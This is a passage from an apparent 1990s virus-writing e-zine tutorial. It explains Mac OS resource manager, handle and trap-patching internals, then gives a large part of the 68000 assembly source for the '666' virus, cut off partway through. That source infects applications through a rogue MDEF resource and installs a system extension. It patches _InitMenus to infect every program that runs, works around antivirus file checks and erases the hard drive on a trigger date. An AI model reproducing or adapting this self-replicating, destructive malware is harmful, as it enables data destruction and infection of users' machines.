the +program file. Many viruses were written till 1992-94 approximatelly when the +new PowerPC RISC chip was introduced with the new PowerMacs. The old 'CODE' +resource format was easy to manipulate (see my examples on Codebreakers #2 +e-zine, or the project with the four viruses T4, CODE 32767, and the old MDEF +and WDEF viruses). The virus grabbed the CODE resource it wanted and altered +some entry and exit points, and appended itself either to the end of an +existing 'CODE' resource, or forced the entry point code ('CODE'=0) to call +the virus first. The new PowerPC chip has to deal with existing applications +though, so some way to execute 680x0 code had to be provided free of charge. +The people at Apple provided an emulation mechanism, built in the chip +itself. The emulator of the PowerPC chips is equivallen to a LC68020 +processor with no floating point capabilities, since the PowerPC chip has +internal floating point itself natively. Thus, any PowerPC chip, can execute +up to 68020 code, successfully. A new question now arrises, that of the +format of the new application code. Unfortunatelly, Apple puts the code for +the PowerPC chip on the data fork, in a "container" called "fragment". The +processor reads some vital information from some resources, (namely 'cfrg') +and then jumps into the data fork. If an application has no 'CODE' resources, +it is called "native" to the PowerPC chip, and can only be run off the newer +chips. But an application can contain BOTH 'CODE' resources AND fragments in +the data fork. Then, the application will execute either code, depending on +which platform it is run. If it tries to run on a 680x0 machine, the +fragments are ignored and the 680x0 chip loads the 'CODE' resources and +executes them. If the application is run on a PowerMac, the loader looks for +'cfrg' resources, and if it finds one, it loads the fragments in the data +fork, ignoring the 'CODE' resources. Such an application is called "fat". To +summarize: we can have 1) a 680x0 'CODE' resource only application, 2) a code +fragment only application (called native to the PowerPC) and 3) a fat +application containing both. The rest of the resources in the application are +treated in exactly the same way. For example, the trap GetMenu(32) will fetch +a handle to a 'MENU' resource, regardless of where it comes from, whether +from code fragment code, or from a 680x0 'CODE' resource. (More on Handles +later). The problem that virus writters now face is obvious. While most of +the older viruses were successful in infecting 'CODE' resources, the newer +applications, (either the fat ones or the native ones) are going to be immune +to the virus. Well, the virus may still modify 'CODE' resources on a fat +application, but what's the point? Those resources will never get executed, +since if they run on a PowerPC machine, the loader ignores them. If they get +execyted on a 680x0, we are fine though. But what's the use? We are losing a +great percentage of the population this way. In actual estimates, 45% of the +macs are PowerMacs, and the percentage is growing fast, as Apple will +eventually dump the 680x0 scheme altogether. Support for them has already +gone off the deep end anyway. What can we do then? We can write our code in +PowerPC code! Yeah, and miss the already existing 55% of the older macs. No +way out? Well, the solution is definatelly 680x0 code, but executed in such a +way as to not interfere with the applications' code, whether it is a native +or a fat or a 680x0 application. We could in principle create a "fat" virus, +which would contain dual code and execute either one upon command. But why do +that since we have a wonderful emulator-the built in emulator of the PowerPC +chip in our hands? So the only viable solution to our dire need seems +resources of bypassable code, such as MDEFs, WDEFs and CDEFs. Thus, we can +hope to infect ANY kind of application, on ANY kind of mac, by carefully +utilizing those bypass resources. We then have the best of both worlds! Let's +see why: + +THE MDEF RESOURCE + +The resource that interest us in this case is the 'MDEF' resource, as it is +vital for the virus' survival. The reason why this is the case, is because +the RM has a very nice characteristic, which any carefully designed virus can +utilize to cause its own spreading. This characteristic is: Suppose you have +a file that contains the resource 'abcd' of id=x. When you open this file +internally, the RM loads that resource in memory. But suppose you have a +second file that also contains a resource 'abcd' of id=x. The RM loads the +second resource into memory and BYPASSES the old one!. That is, the second +instance of that same resource becomes active. This means that if i request +'what is a resource abcd=x' the RM will fetch the second instance. This is +trully wonderful!. Why? Because if a virus IS a (different in content) MDEF +resource than one that already exists with the same type and id, it will +bypass the old one and activate! Programs use this characteristic to draw +specialized menus, windows and controls. For example: The System file +contains a 'MDEF' resource of id=0 which is a Menu DEFinition function, +responsible for drawing any menu by default. So any program doesn't have to +worry about drawing its menus explicitly. BUT! if a program wants to draw a +special menu, say one with lots of pictures in it, or characteristics that +the regular MDEF does not provide (actually the system MDEF can draw pictures +inside menus but let's leave that alone) then all it has to do is include in +its resource fork a 'MDEF' resource. This MDEF will be just the compiled code +for the definition function that draws that specialized menu. The program +also needs to specify that this MDEF, say of id=78, is used when the Menu +manager draws the program menus. The way to do that, is to specify somewhere +in a 'MENU' resource the id of that included 'MDEF' (I will be using MENU +instead of 'MENU' from now on). To see that, open any application and edit it +with ResEdit. Open one of its MENU resources, and select from the 'MENU' +Menu, 'Edit MENU & Menu ID...'. You will see the id of the MDEF that's used +for that menu when the program executes. If you see 0, the menu manager uses +MDEF=0 to draw that menu. If you see any other id, the menu manager uses a +MDEF=that id to draw the menu. Wonderful. So why so much attention paid to +MDEFs? Well, you have guessed already that the virus will BE a MDEF. But, you +will ask, "isn't a MDEF just code for drawing a menu"? Well, the answer to +that is, "it MIGHT be..." Or better yet, "it should EVENTUALLY draw a menu". +That "eventually" is the key to the virus. We can write a MDEF that is NOT +code for drawing a menu, rather it is a virus, and when it finishes +executing, it can call indirectly the good old MDEF=0, i.e. the one that's +responsible for drawing anyway. In order for the Menu manager to call then +our virus, all we have to do is place it inside any file and change the MDEF +id of some MENU resource in that file to OUR id, so that the menu manager +uses the virus to "draw" the menu. Good. Now let's look at another basic +principle of the Mac OS, handles. + +POINTERS AND HANDLES + +On most machines out there, you are familiar with the notion of a 'pointer' +which is nothing more than a variable that holds the address of some data. +Pointers on the macintosh are implemented using pretty much the same +principle, except that the block that holds the data the pointer points to, +CAN NEVER MOVE in memory. The net result of this, is that if one allocates +many pointers (and the blocks that they point to), memory becomes fragmented. +That is, you may have large blocks of data scattered throughout the heap, +which have empty space between them, and in fact that space may be large, but +if you try to allocate another block, you may be unable to, because the empty +space is fragmented. It is very possible to have 10 megs of free space +between the blocks you have allocated, but you may be unable to allocate even +2megs, because the largest 'gap' between already allocated blocks may be less +than 2 megs. For example, suppose the gaps are 1, 1.3, 0.5, 0.7, etc. You get +a sum of 3.5 megs total empty space, but you are unable to allocate anything +more than 1.3megs. You get the idea. The way this problem is solved, is +through 'handles'. Handles are pointers to pointers. When a user requests a +block of memory, the Macintosh OS allocates (IF the user wants a handle) a +RELOCATABLE block of memory. How can a block be relocatable? Easy. The system +assigns a MASTER POINTER to the block in low heap. This block NEVER moves, +and holds always the address of the relocatable block. The system then +returns a Pointer to the Master pointer to the user. That is, the user gets a +pointer to the master pointer, called a handle. This handle simply holds the +address of the Master pointer. IF and WHEN the OS needs to move the block of +memory because of possible fragmentation-i.e. when the system COMPACTS the +heap, the OS updates the Master Pointer regarding the new address of the +block, but the user is free of the hassle, because he has a handle, which +ALWAYS points to the Master Pointer! Smart! Contrary to blocks that are +referred to through handles which are relocatable, blocks that are refered to +though regular pointers are IMMOVABLE. They can never move. That's why, most +Macintosh development takes place using LOTS of handles. Why the fuss with +handles? Because when you request a resource from a file, the resource +manager returns to you a resource Handle. Suppose you have the following +resource 'INTS' in one resource file: resource 'INTS', id=666 1 2 3 4 5 6 + +which has been declared in Pascal as: INTS=array[1..6] of integer; +INTSPtr=^INTS; INTSHandle=^INTSPtr; + +var myINTSHandle:Handle; {generic handle} + +You can add now this resource provided you have a valid memory handle on the +data. So essentially you would proceed as follows: + +myINTSHandle:=NewHandle(SizeOf(INTS)); {allocate handle to block of 12 bytes} +HLock(myINTSHandle); {lock block so it doesn't move while we access} +INTSHandle(myINTSHandle)^^[1]:=1; INTSHandle(myINTSHandle)^^[2]:=2; +INTSHandle(myINTSHandle)^^[3]:=3; INTSHandle(myINTSHandle)^^[4]:=4; +INTSHandle(myINTSHandle)^^[5]:=5; INTSHandle(myINTSHandle)^^[6]:=6; +HUnLock(myINTSHandle); {unlock the memory so it is free to move again} +AddResource(myINTSHandle,'INTS',666,'my Integers'); +if ResError<>noErr then DoError; + +When you later request now this resource through the resource manager, you +call: myINTSHandle:=GetResource('INTS',666); In turn what this call does is +return to you a handle which can be pictured as follows: + + <-------$AAB8:|$3450|<------ +$3450:|1| | | +$3452:|2| (Master Pointer@$AAB8) | +$3454:|3| | +$3456:|4| | +$3458:|5| | +$345A:|6| myINTSHandle@$8762:|$AAB8| + +Thus, in Pascal, you could get to the data in this case for example, by using +a dereference twice. So INTSHandle(myINTSHandle)^^[1]=1, +INTSHandle(myINTSHandle)^^[2]=2, etc. So now, all resource manager calls like +GetResource, Get1Resource, AddResource, etc, operate on handles. When a file +is opened, the resource manager allocates handles for all the resources that +are contained in the file. Thus the only thing we have to do is request one +to get access to the data. You have gotten the basic idea. With this out of +the way, we can proceed to analyze the general operating principles behind +the virus. + +OPERATIONAL VIRUS PRINCIPLES-THE DOUBLE ACTION PRINCIPLE + +Ok, suppose our infected file contains a viral MDEF=666, and one of the +file's MENU 'MDEF' id' has been changed to 666. This means that as soon as +the program starts executing, the Menu manager will try to draw the program's +menus, and in the process it will invoke our MDEF=666. Wonderful. Our virus +executes. What next? Well it should infect the System of course first! How +can this be done? One option would be to copy ourselves (as a MDEF=666 which +is running now) to the System file. Well, this is not such a good idea for +many reasons. The System file for one, is over 6megs in size and screwing +around with it while operating, is quite dangerous. In the best case, there +would be a tremendous delay re-writting the whole 6meg file when an infected +application executes. We don't want that. What else? We need to find a way to +activate the virus as long as the machine is operating. What if we write an +extension? Good idea. But what should this extension do? It should be able to +"install" a memory version of our virus, which will be kept alive until we +restart. How do we do that? With "trap patching" of course! If we patch a +suitable trap, then when ANY program calls this trap, the code in the trap +will force the program to be infected. For those of you who did not download +e-zine #2 from the codebreakers site, i will include the segment on trap +patching here, so you can have a complete understanding on the subject. Here +we go: + +SYSTEM TRAPS AND TRAP PATCHING + +As you know, the characteristsic look and feel of any Mac program is due +mainly to the extensive use of many System Traps that correspond to specific +routines in Inside Macintosh. For example, most of the procedures in IM +(Inside Macintosh) are actually routines that get executed when the processor +tries to execute an instruction of the form $Axxx. The 680x0 processor does +not recognize such instructions (as well as $Fxxx) and when it encounters +one, it generates an exception. An exception vector takes control and the +system calculates an address based on the number that follows the A digit. +The details are in IM. For example, the procedure call +"AddResource(theHandle,'CDEF',32,"myCDEF");" generates the following assembly +code: + +00000008: 2F2E FFFC MOVE.L theHandle(A6),-(A7) +0000000C: 2F3C 4D44 4546 MOVE.L #$4D444546,-(A7); 'MDEF' +00000012: 3F3C 0020 MOVE.W #$0020,-(A7) +00000016: 486E FEFC PEA Name +0000001A: A9AB _AddResource + +As you can see, the parameters are first pushed onto the stack +and then the trap $A9AB is executed. In reality, the trap is never executed. +It generates an exception that dispatches the PC onto some table +that contains the addresses of all the system routines. +The table looks something like this: + +Trap # Routine Address +... ... +$A9AB $3501980 (routine address with index 171 of table) +$A9AC $9ACD0F0 (routine address with index 172 of table) +$A9AD $8709FFA (routine address with index 173 of table) +... ... + +The System calculates the specifics of the dispatch based on +the binary representation of the trap: +$A9AB=1010100110101011 + +Bit 8 for example is the bit that charachterizes toolbox traps. The first 7 +bits (from right) provide the index into the trap dispatch table. (Here +$AB=171). More details in Inside Macintosh. Now as you may have suspected, it +is obvious that ANY address can be installed in a specific trap dispach table +entry. For example, we don't have to have address $3501980 in entry 171. We +can install a different address, that corresponds to a different routine. But +because usually the functionality of the original needs to be preserved, we +need to be able to call the original routine as well. The way to do that is +called "Trap Patching". It is the process of installing a "patch" (head or +tail) to the actual routine's address. We can install something prior to +calling the original (called head patch) or something that post-processes the +original (tail patch). What follows is an example of how to write a routine +patch. For simplicity, I will use here the routine for +"DrawString(theStr:Str255)". The patch consists of two separate projects. +The actual patch code (an MPW asm file) and a THINK Pascal project that +creates an INIT that installs the new routine at startup. + +File DrawStringPatch.a + STRING ASIS + + INCLUDE 'SysEqu.a' + INCLUDE 'SysErr.a' + INCLUDE 'ToolEqu.a' + INCLUDE 'Traps.a' + + SEG 'DrawStringPatch' +DrawStringPatch MAIN +Entry + BRA.S MyDrawString ;branch around next 4 bytes +OldDrawString + DC.L 0 ;original address is stored here!! +;what follows from here is the actual pre-processing code +MyDrawString + MOVEM.L A0-A4/D0-D7,-(SP) ;save registers + MOVE.W #4,-(SP) ;push integer 4 onto stack + _SysBeep ;sound the beeper +;end of pre-processing code +ExitPatch + MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers + MOVE.L OldDrawString,A0 ;get address of old DrawString + JMP (A0) ;jump to original DrawString Code + END + +The build MPW commands to create the patch code segment: + +asm -o DrawStringPatch.a.o DrawStringPatch.a +link DrawStringPatch.a.o -o PTCH.rsrc -t RSRC -c RSED -rt +'PTCH'=35 -ra DrawStringPatch=resSysHeap,resPreload,resLocked + +File InstallDrawStringPatch.p + +unit InstallAPatch; +interface + procedure Main; +implementation + const + _DrawString = $A884; {Trap number for DrawString routine} + type + PTCHHeader = record {look at the asm file} + BRAS: integer; {the first instruction is a BRA.S} + OriginalAddress: longint; {the place we store original address} + end; + PTCHHeaderPtr = ^PTCHHeader; {Master pointer} + PTCHHeaderHandle = ^PTCHHeaderPtr; {Handle} + procedure Main; + var + thePTCH: Handle; + begin + thePTCH := GetResource('PTCH', 35);{load the resource into mem} + if thePTCH <> nil then {if good handle} + begin +{Store OriginalAddress at header of resource. Look at asm file} + PTCHHeaderHandle(thePTCH)^^.OriginalAddress := + NGetTrapAddress(_DrawString, ToolTrap); +{now set trap dispatch table address} +{to Entry Point of Patch (Entry)) + NSetTrapAddress(Ord(thePTCH^), _DrawString, ToolTrap); + DetachResource(thePTCH); {detach from memory} + end; +end; +end. + +Create the INIT with id=35 with the THINk Pascal project. After you assemble +the MPW asm file, open the code segment patch file with ResEdit and copy the +'PTCH' resource into the INIT which you created with the THINK Pascal +project. Then, put the INIT into your System folder. Be prepared for +thousands of beeps. OK, now for the analysis of what we have done: First the +MPW file. As you can see there are certain params for the assembler which you +should take for granted for now. The first instruction is a BRA.S +MyDrawString. This forces the PC to immediatelly go to label "MyDrawString". +Just to avoid hitting the actual address which is at "OldDrawString". So now, +we are in our space. We can do whatever we want. The original has not been +called yet and we have all the tools at our disposal. Here, we do something +simple, like sound the beeper. Next, after we are done with whatever we want +to do, we restore the regs, and load the original address from the place +where the Pascal INIT has put it at run time: At "OldDrawString". And finally +JMP to that location, which forces the original to be called. That's it. A +couple of things to note: We use a JMP and not a JSR. Can you tell why? +Because the original routine is responsible for returning to the caller of +the _DrawString trap. IF we wanted to do a tail-patch-i.e. if we wanted to +post-process the trap code, we would call JSR (A0) and the original routine +would return to us, first, we could then do post-processing and then return +to the caller! This is left as an exercise to the reader. + +Continuing now our discussion on the 666 virus, we can create an Extension +file that will patch some trap and install our viral code into the system. +Which trap shall we patch? Well it depends on how many times we want our +virus to activate. I like simplicity, so i wanted the virus to activate ONE +time for every program run. Which trap gets used then only ONCE in any +macintosh application? Well, take a pick: Any mac program starts with the +following traps: + +InitGraf(@thePort); +InitWindows; +InitMenus; +TEInit; +InitDialogs(nil); + +So, the natural choice to pick would be some trap that has something to do +with menus. _InitMenus of course then is the likely candidate. We will patch +_InitMenus. By doing so, when any program starts, the moment it invokes this +trap, it will become infected, by virtue of our patched code that lies INSIDE +the trap itself which infects the file that has been run. Now you understand +the DOUBLE ACTION PRINCIPLE. It is the interplay between infected program and +the System. An infected program infects the system and an infected system +infects a running program. Without this principle, any virus is useless. Our +virus thus, will exhibit a dual behaviour, depending on whether it is running +from a program, or from the system. If it is running from a program, it just +needs to check the system and infect it if it is not infected. If it is +running from the system, it must become memory resident and infect any +running application. Ok, now that you have seen the general double principle +scheme, you will immediatelly recognize the two parts of the virus. Lets see +then the virus in its totality and start our analysis. You may want to print +out this manual so you can reference its various parts when you read the +analysis. + +;*************************************************************** +;WARNING!! THE AUTHOR IS NOT RESPONSIBLE FOR UNAUTHORIZED USE OF +;THIS PROGRAM. IN PARTICULAR, THE AUTHOR IS NOT RESPONSIBLE IF +;YOU TRY TO, OR RELEASE THE VIRUS. THE AUTHOR IS NOT RESPONSIBLE FROM +;CRASHES OR MISBEHAVIOUR CAUSED BY THIS PROGRAM IN ANY OPERATING +;SYSTEM. THIS PROGRAM IS PROVIDED AS A DEMONSTRATION VIRUS AND IS +;NOT INTENDED TO BE INSTALLED ON MACHINES THAT YOU HAVE NO CONTROL +;OVER. YOU HAVE BEEN WARNED: YOU ARE LIABLE TO CRIMINAL PENALTIES +;IF YOU RELEASE THIS VIRUS AND SPREAD IT IN EXECUTABLE FORM. +;WARNING!! THIS VIRUS WILL INFECT ANY OS FROM 6.0.7 UP TO 8.0, +;POSSIBLY 8.1 AS WELL. BE VERY CAREFULL WHEN YOU EXECUTE IT. IT +;WILL GRADUALLY INFECT ANY APPLICATION YOU RUN, AND MAY CAUSE +;CRASHES AND OTHER ILL BEHAVIOUR. IT WILL ALSO ERASE YOUR HARD DRIVE +;WHEN ITS TRIGGER DATE IS MET. YOU HAVE BEEN WARNED. +;*************************************************************** +;666 VIRUS, VERSION 1.0, WRITTEN IN 68000 ASM USING MPW 3.3.1. IN +;PARTICULAR, YOU NEED MPW 3.3.1 OR HIGHER TO COMPILE THIS SOURCE. +;WRITTEN AND COMPLETED ON 13/5/98 BY J.S.BACH. +;*************************************************************** + BLANKS ON + STRING ASIS +;include files for asm + INCLUDE 'SysEqu.a' + INCLUDE 'SysErr.a' + INCLUDE 'ToolEqu.a' + INCLUDE 'Traps.a' + INCLUDE 'Folders.a' + + SEG '666' ;segment name +;*************************************************************** +;System Variables +;*************************************************************** +SystemMDEF EQU 0 ;offset of SystemMDEF var from Vars +Handle2Us EQU 4 ;offset of Handle2Us var from Vars +CurResFile EQU 8 ;offset of CurResFile var from Vars +ExtRefNum EQU 10 ;offset of ExtRefNum var from Vars +foundVRefNum EQU 12 ;offset of foundVRefNum from Vars +foundDirId EQU 14 ;offset of foundDirId var from Vars +INITRes EQU 18 ;offset of INITRes var from Vars +NewHandle EQU 22 ;offset of NewHandle var from Vars +bytes2copy EQU 26 ;offset of Bytes2Copy var from Vars +MENURes EQU 30 ;offset of MENURes var from Vars +ProcID EQU 6 ;offset into the 'MENU' resource handle +day EQU 4 ;offset into datetimerec +InitMenus EQU $A930 ;trap to patch +FileType EQU 32 ;offset to filetype into CInfoRec + +;*************************************************************** +;A4 always holds the address of our first var +;*************************************************************** + MAIN +Entry + MOVEM.L A0-A4/D0-D7,-(SP) ;save registers + LEA Vars,A4 ;get globals address + CLR.W -(SP) ;room for refnum returned + _CurResFile ;return current resource file refnum + MOVE.W (SP)+,CurResFile(A4) ;put in storage +;*************************************************************** +;first see if there is a 666 'INIT' resource in our file +;if there is, we are an INIT. If not, we are a MDEF +;*************************************************************** + CLR.L -(SP) ;room for 'INIT' handle + MOVE.L #'INIT',-(SP) ;push resource type + MOVE.W #666,-(SP) ;push id=666 + _Get1Resource ;load resource in mem + MOVE.L (SP)+,INITRes(A4) ;put handle in storage + BEQ.S MDEF ;if nil, run MDEF +;*************************************************************** +;if we fall through, we are an INIT. So patch the _InitMenus trap +;*************************************************************** +PatchInitMenus + MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0 + _GetToolboxTrapAddress ;get its old trap number + LEA MyInitMenus,A1 ;address of patch in A1 + MOVE.L A0,2(A1) ;stuff old address in patch header + MOVE.W #InitMenus,D0 ;trap number of _InitMenus in D0 + LEA MyInitMenus,A0 ;load our address + _SetToolboxTrapAddress ;set to new address + MOVE.L INITRes(A4),-(SP) ;push handle to us + _DetachResource ;cause it to float and detach from file +ExitInit + MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers + RTS ;return to whoever called the INIT. +;*************************************************************** +;The next code will be run if the virus gets executed from within +;an infected application. +;*************************************************************** +;*************************************************************** +;first get and store the address of our MDEF, i.e. ourselves +;and store it so we have a reference to ourselves. +;*************************************************************** +MDEF + CLR.L -(SP) ;room for handle to MDEF resource + MOVE.L #'MDEF',-(SP) ;push MDEF type + MOVE.W #666,-(SP) ;push id=666 + _GetResource ;get hold of our MDEF + MOVE.L (SP)+,Handle2Us(A4) ;put in Storage +;*************************************************************** +;then get and store the address of the system MDEF=0 +;if we don't have it already +;*************************************************************** + CLR.W -(SP) ;refnum of system file (0) + _UseResFile ;use system res file + CLR.L -(SP) ;room for handle to MDEF=0 resource + MOVE.L #'MDEF',-(SP) ;push MDEF restype + CLR.W -(SP) ;push id=0 + _Get1Resource ;get hold of it + MOVE.L (SP)+,SystemMDEF(A4) ;put in Storage + BNE.S CheckDate ;if non-nil, check date + _Debugger ;crash if we can't get a system MDEF!!! +;*************************************************************** +;the following code will check if it is the virus's trigger date +;if it is, all hell breaks loose, and the virus starts deleting +;files. Be VERY careful with this virus. +;*************************************************************** +CheckDate + MOVE.L Time,D0 ;get seconds since 1904 + LEA DatTimeRec,A0 ;load address of DateTime record + _Secs2Date ;convert + CMP.W #6,day(A0) ;check day! + BNE.S InfectSys ;no trigger date, go to infect system + LEA HParamBlock,A0 ;parameter block + CLR.L ioNamePtr(A0) ;nil ionameptr + _GetVol ;get default volume + BNE ExitInfection ;exit on error + MOVE.W ioVRefNum(A0),-(SP) ;push vrefnum + MOVE.L #fsRtDirID,-(SP) ;push start directory + BSR EraseDrive ;hallelujah, brothers!!!!! + BRA ExitInfection ;job done, exit +;*************************************************************** +;the following code infects the system. We create a "special" +;Extension that is put in the Extensions folder. When the computer +;restarts, this extension will infect the computer's memory +;*************************************************************** +InfectSys + CLR.W ExtRefNum(A4) ;clear reference number of extension +;*************************************************************** +;call FindFolder to get the vRefNum and DirId of the Extensions folder +;*************************************************************** + CLR.W -(SP) ;room for error from FindFolder + MOVE.W #kOnSystemDisk,-(SP) ;on system disk + MOVE.L #kExtensionFolderType,-(SP) ;ExtensionsFolder + MOVE.B #kDontCreateFolder,-(SP) ;no new folder + PEA foundVRefNum(A4) ;address of returned vrefnum + PEA foundDirID(A4) ;address of returned dirid + _FindFolder ;get extensions folder + MOVE.W (SP)+,D0 ;copy error in D0 + BNE CallOldMDEF ;exit on non-zero error code +;*************************************************************** +;call MakeFSSpec to get a file specification to use for our new +;Extension file inside the EXtensions folder. +;*************************************************************** + CLR.W -(SP) ;room for error from FSMakeFSSpec + MOVE.W foundVRefNum(A4),-(SP) ;push foundVRefNum + MOVE.L foundDirId(A4),-(SP) ;push foundDirId + PEA ExtensionName ;push name + PEA theSpec ;push address of theSpec + _FSMakeFSSpec ;make file Spec + MOVE.W (SP)+,D0 ;copy error but ignore +;*************************************************************** +;call FSpCreateResFile to create a resource file (our Extension) +;so we can put our virus in it. +;*************************************************************** + PEA theSpec ;push theSpec + MOVE.L #'666 ',-(SP) ;push creator of file + MOVE.L #'INIT',-(SP) ;push filetype of file + MOVE.W #0,-(SP) ;push Roman script code + _FSpCreateResFile ;try to create it +;*************************************************************** +;now get FInfo information about this file we have just created. +;*************************************************************** + CLR.W -(SP) ;room for error + PEA theSpec ;filespec + PEA Finfo ;push address for File info + _FSpGetFInfo ;get file info + MOVE.W (SP)+,D0 ;get error + BNE ExitInfection ;exit on error +;*************************************************************** +;now we have the file info on record. The reason we need it, is +;if there is an antivirus running, it won't let us create such a file +;so we reset the file attributes if our call is successful this time +;*************************************************************** + LEA FInfo,A0 ;load address of Finfo + MOVE.L #'INIT',fdType(A0) ;reset file type + MOVE.L #'666 ',fdCreator(A0) ;reset file creator +;*************************************************************** +;now set back the info for the file. +;*************************************************************** + CLR.W -(SP) ;room for error + PEA theSpec ;filespec + PEA Finfo ;push address for File info + _FSpSetFInfo ;get file info + MOVE.W (SP)+,D0 ;get error + BNE.S ExitInfection ;exit on error +;*************************************************************** +;now we try to open the new file with a call to _FSpOpenResFile +;*************************************************************** + CLR.W -(SP) ;clear stack for file refnum + PEA theSpec ;push theSpec + MOVE.B #fsWrPerm,-(SP) ;push write permission + _FSpOpenResFile ;open it + MOVE.W (SP)+,ExtRefNum(A4) ;pop and store refnum + MOVE.W ResErr,D0 ;check for error + BNE.S ExitInfection ;error, exit +;*************************************************************** +;check if the new file contains our virus. +;*************************************************************** + CLR.L -(SP) ;room for INIT handle + MOVE.L #'INIT',-(SP) ;push res type + MOVE.W #666,-(SP) ;push res id + _Get1Resource ;try to get resource + MOVE.L (SP)+,A0 ;put in A0 + MOVE.L A0,D0 ;copy in D0 + BNE.S ExitInfection ;if <>0 it exists, system is infected, exit +;*************************************************************** +;add viral resourse to Extension if empty +;*************************************************************** + MOVE.L Handle2Us(A4),-(SP) ;push ourselves + _DetachResource ;detach from resource file + MOVE.L Handle2Us(A4),-(SP) ;push handle + MOVE.L #'INIT',-(SP) ;push type + MOVE.W #666,-(SP) ;push id + PEA ExtensionName ;push name + _AddResource ;add resource into file + MOVE.W ResErr,D0 ;get error + BNE.S ExitInfection ;exit on error +;*************************************************************** +;now set the attributes of the '666 ' resource +;*************************************************************** + CLR.W -(SP) ;room for attrs + MOVE.L Handle2Us(A4),-(SP) ;push handle + _GetResAttrs ;get the attrs + MOVE.W (SP)+,D0 ;copy attrs in D0 + BSET #ResSysHeap,D0 ;we want SysHeap + BSET #ResPreload,D0 ;we want ResPreload + BSET #ResLocked,D0 ;we want ResLocked + MOVE.L Handle2Us(A4),-(SP) ;push handle to resource + MOVE.W D0,-(SP) ;push new attributes + _SetResAttrs ;set new attributes + MOVE.W ResErr,D0 ;get error code + BNE.S ExitInfection ;exit on error + MOVE.L Handle2Us(A4),-(SP) ;push handle again + _ChangedResource ;change attributes + MOVE.W ResErr,D0 ;get error code, but ignore +;*************************************************************** +;the following labe is where we branch if a resource error occurs +;*************************************************************** +ExitInfection + MOVE.W ExtRefNum(A4),D0 ;get refnum + BEQ.S CallOldMDEF ;if =0, exit, no resfile opened + MOVE.W ExtRefNum(A4),-(SP) ;if we have one, push it + _CloseResFile ;close the file and update it +;*************************************************************** +;the following is the branch to the system MDEF code +;*************************************************************** +CallOldMDEF + MOVE.W CurResFile(A4),-(SP) ;push id of current resfile + _UseResFile ;use old resfile + MOVEM.L (SP)+,A0-A4/D0-D7 ;restore registers + MOVEA.L Vars,A0 ;fetch label of vars + MOVEA.L (A0),A0 ;dereference and get address of SysMDEF + JMP (A0) ;jump to old MDEF code +;*************************************************************** +;the following gets executed upon calling _InitMenus. It is the +;pre-processing patch to the _InitMenus routine. Every time an +;application calls _InitMenus, this code will be executed first +;*************************************************************** +MyInitMenus + BRA.S Next ;step over next longword +OldInitMenus + DC.L 0 ;address of original _InitMenus +Next + MOVEM.L A0-A4/D0-D7,-(SP) ;save registers + LEA Vars,A4 ;load vars + CLR.L NewHandle(A4) ;make nil handle + CLR.W -(SP) ;room for current res file + _CurResFile ;resfile of application that's running + MOVE.W (SP)+,CurResFile(A4) ;store in variable +;*************************************************************** +;see if application that's running is infected. Get MDEF=666. If +;non-nil, application is infected. +;*************************************************************** + CLR.L -(SP) ;space for handle + MOVE.L #'MDEF',-(SP) ;push restype + MOVE.W #666,-(SP) ;push id=666 + _Get1Resource ;get it + MOVE.L (SP)+,D0 ;put in D0 + BNE ExitPatch ;non nil, infected we can exit +;*************************************************************** +;now see if our application has any MENU resources +;*************************************************************** + CLR.W -(SP) ;room for count + MOVE.L #'MENU',-(SP) ;push restype + _Count1Resources ;count how many MENU resources + MOVE.W (SP)+,D0 ;copy to D0 + BEQ ExitPatch ;if 0, no MENU resources, exit +;*************************************************************** +;now fetch MENU resources and check MDEFs +;*************************************************************** + MOVEQ #0,D3 ;clear flag + MOVE.L D0,D2 ;copy how many MENU resources + MOVEQ #0,D1 ;initialize counter +@9 ADDQ #1,D1 ;add one + CLR.L -(SP) ;room for returned MENU handle + MOVE.L #'MENU',-(SP) ;push restype + MOVE.W D1,-(SP) ;push index + _Get1IxResource ;get first resource + MOVE.L (SP)+,MENURes(A4) ;get MENU resource + MOVEA.L MENURes(A4),A0 ;copy in A0 + _HLock ;lock MENU resource + MOVE.W MemErr,D0 ;check for error + BNE ExitPatch ;exit on error + MOVEA.L (A0),A0 ;get data + CMPI.W #0,ProcID(A0) ;check proc id + SEQ D3 ;set flag if found MENU with MDEF=0 + BEQ.S @10 ;exit loop + MOVEA.L MENURes(A4),A0 ;handle in A0 + _HUnlock ;unlock + CMP.W D1,D2 ;did we examine all yet? + BGT.S @9 ;no, loop back +@10 TST D3 ;check if we found a menu + BEQ ExitPatch ;no, exit patch +;*************************************************************** +;now allocate handle so we can copy ourselves in it +;*************************************************************** + LEA EndLabel,A0 ;end of virus + LEA Entry,A1 ;beginning of virus + SUBA.L A1,A0 ;find length of virus + MOVE.L A0,bytes2copy(A4) ;store in bytes2copy + MOVE.L A0,D0 ;copy to D0 + _NewHandle ;allocate new handle + MOVE.L A0,NewHandle(A4) ;store + BEQ.S ExitPatch ;exit on error<>0 + MOVE.L NewHandle(A4),A0 ;put handle in A0 + _HLock ;lock the handle + MOVE.W MemErr,D0 ;check for error + BNE.S ExitPatch ;exit on error +;*************************************************************** +;now copy this very code into the new handle +;*************************************************************** + LEA Entry,A0 ;source pointer + MOVE.L NewHandle(A4),A1 ;get address of master pointer + MOVE.L (A1),A1 ;get address of data, destination pointer + MOVE.L bytes2copy(A4),D0 ;howmany bytes + _BlockMove ;copy virus + MOVE.L NewHandle(A4),A0 ;nove handle in A0 + _HUnlock ;unlock it + MOVE.W MemErr,D0 ;check for error + BNE.S ExitPatch ;exit on error +;*************************************************************** +;now add resource into active resource file +;*************************************************************** + MOVE.L NewHandle(A4),-(SP) ;push handle + MOVE.L #'MDEF',-(SP) ;push type + MOVE.W #666,-(SP) ;push id=666 + PEA ExtensionName ;push name + _AddResource ;add it + MOVE.W ResErr,D0 ;get error + BNE.S ExitPatch ;non zero error code, exit +;*************************************************************** +;now change the MDEF id of that menu so that it calls our MDEF +;*************************************************************** + MOVE.L MENURes(A4),A0 ;put in A0 to lock + _HLock + MOVE.W MemErr,D0 ;check error + BNE.S ExitPatch ;exit on error + MOVE.L MENURes(A4),A0 ;get handle to MENU resource + MOVEA.L (A0),A0 ;get master pointer of resource handle + MOVE.W #666,ProcID(A0) ;stuff new proc id + MOVE.L MENURes(A4),A0 ;get handle again + _HUnlock ;unlock it + MOVE.W MemErr,D0 ;get error + BNE.S ExitPatch ;exit if we cannot unlock + MOVE.L MENURes(A4),-(SP) ;push handle + _ChangedResource ;we changed it + MOVE.W ResErr,D0 ;get error code + 